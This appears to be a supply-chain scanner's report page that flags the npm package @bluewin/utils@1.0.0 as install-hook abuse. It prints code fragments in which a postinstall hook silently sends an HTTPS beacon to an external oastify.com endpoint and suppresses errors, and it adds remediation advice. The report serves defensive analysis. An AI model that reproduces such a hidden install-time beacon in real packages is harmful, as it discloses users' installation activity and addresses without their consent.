registry / Install hook abuse / @bluewin/utils

@bluewin/utils

PoC package for dependency confusion testing - No malicious intent

This report shows the evidence for @bluewin/utils@1.0.0, the only known version.

AI Security Review

scanned 21d ago · by lpm-firewall-ai

The inspected source establishes an automatic external installation beacon unrelated to utility functionality. This constitutes install hook abuse, although the source does not demonstrate credential theft or remote code execution.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm installation with lifecycle scripts enabled.

Impact

Discloses installation activity and the connection's source address to the endpoint operator; no secret harvesting was identified.

Mechanism

The postinstall hook makes a fixed HTTPS GET request and silently ignores errors.

Attack narrative

The package uses its automatic postinstall hook to send an external installation beacon. Its runtime export is only a static marker, while the hook contacts an OAST endpoint and suppresses failures. The package's claim of harmless security testing does not establish consent for this behavior.

AI rationale

Evidence

package.jsonpostinstall.js

Network endpoints1

5w2cezr3af2i0rvm72x74empvg18pzdo.oastify.com/bluewin/utils

Decision evidence

public snapshot

AI called this Malicious at 93.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json automatically runs postinstall.js after installation.
postinstall.js sends an unsolicited HTTPS beacon to an external OAST endpoint and suppresses errors.
package.json frames the package as dependency confusion testing and asserts harmless intent; this does not excuse the active install beacon.

Evidence against

The request contains a fixed package path; no credential or file harvesting is present.
index.js only exports a static marker; no remote payload execution or persistence was found.

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsTrivialUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 243 B of source, external domains: 5w2cezr3af2i0rvm72x74empvg18pzdo.oastify.com

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js" }, "autho

High

Suspicious Lifecycle Evidence

package.json automatically runs postinstall.js after installation.

package.jsonView on unpkg · L6

4"description": "PoC package for dependency confusion testing - No malicious intent", "mai

High

Suspicious Dependency Evidence

package.json frames the package as dependency confusion testing and asserts harmless intent; this does not excuse the active install beacon.

package.jsonView on unpkg · L4

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

•matchType = malicious_source_fingerprint_signature signature = bde7bc3c06817970 signatureType = suspicious_hashes sourceLabel = Datadog matchedPackage = @b2b-frontend/store@1.0.0 matchedPath = postinstall.js matchedIdentity = npm:QGIyYi1mcm9udGVuZC9zdG9yZQ:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = Datadog malicious npm corpus sample: samples/npm/malicious_intent/@b2b-frontend@store/1.0.0/2026-04-16-@b2b-frontend_store-v1.0.0.zip

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

postinstall.jsView on unpkg

3const url = "https://[redacted].oastify.com/bluewin/utils"; try { https.get(url, () => {}).on("error", () => {}); } catc

High

Suspicious Lifecycle Evidence

postinstall.js sends an unsolicited HTTPS beacon to an external OAST endpoint and suppresses errors.

postinstall.jsView on unpkg · L3

5try { https.get(url, () => {}).on("error", () => {}); } catch (e) {}

High

Suspicious Lifecycle Evidence

postinstall.js sends an unsolicited HTTPS beacon to an external OAST endpoint and suppresses errors.

postinstall.jsView on unpkg · L5

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js" }, "autho

High

Suspicious Lifecycle Evidence

package.json automatically runs postinstall.js after installation.

package.jsonView on unpkg · L6

4"description": "PoC package for dependency confusion testing - No malicious intent", "mai

High

Suspicious Dependency Evidence

package.json frames the package as dependency confusion testing and asserts harmless intent; this does not excuse the active install beacon.

package.jsonView on unpkg · L4

•scripts.postinstall = node postinstall.js

Medium

Findings

6 High2 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturepostinstall.js

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencepostinstall.js

HighSuspicious Dependency Evidencepackage.json

HighSuspicious Lifecycle Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to @bluewin/utils@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @bluewin/utils@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-04 23:45:17.027Z (UTC).

Source advisory published: 2026-10-01 02:40:08.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousInstall Hook AbuseBlockPublishedOct 1, 2026, 2:34 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other install hook abuse packages

Behavioral surface

Related packages

Other install hook abuse packages

Source & flagged code